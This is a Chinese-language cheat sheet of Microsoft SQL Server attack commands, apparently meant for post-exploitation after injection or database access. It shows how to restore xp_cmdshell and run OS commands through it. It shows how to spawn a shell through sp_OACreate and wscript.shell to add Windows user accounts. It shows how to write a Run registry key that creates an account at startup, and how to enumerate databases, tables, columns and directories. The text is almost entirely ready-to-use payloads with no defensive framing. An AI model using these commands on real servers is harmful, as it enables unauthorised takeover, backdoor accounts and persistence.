一 系统Shell



　　恢复xp_cmdshell



　　Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'



　　使用xp_cmdshell添加用户



　　exec xp_cmdshell 'net user user1 /add'



　 　利用OLE对象接口，SQL SERVER提供了一些函数访问OLE对象，分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件，间接获取一个 shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell，然后使用SP_OAMETHOD调用@shell的属 性run执行命令。



　　DECLARE @shell INT



　　EXEC SP_OAcreate 'wscript.shell',@shell out



　　EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'



　 　declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user temp zyi /add'--



　　二 数据库查询



　　查询库



　　库名称存在master库中的sysdatabases表中，sysdatabases表中的 dbid字段的值大于6的就是用户自己建的库



　　Select name FROM sysdatabases where dbid>6



　　查询表



　　表名称存在xyz库中的sysobjects表且xtype='u'



　　Select *FROM sysobjects where xtype='u'



　　查询字段



　　该表的字段存在xyz库中的syscolumns表，且id等于sysobjects表中test表对应的id



　　Select * FROM syscolumns where id='357576312'



　　三 注册表操作



　　利用xp_regwrite写注册表项



　 　EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\c urrentversion\run','shell','REG_SZ','C:\windows\sys tem32\cmd.exe /c net user ray ray /add'



　　查看注册表



　　Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\C urrentVersion\Run'



　　四 文件操作



　　历遍目录



　　exec master.dbo.xp_dirtree 'c:\'



　　获取子目录



　　exec master.dbo.xp_subdirs 'c:\'



　　判断目录或文件是否存在



　　exec master..xp_fileexist 'c:\boot.ini'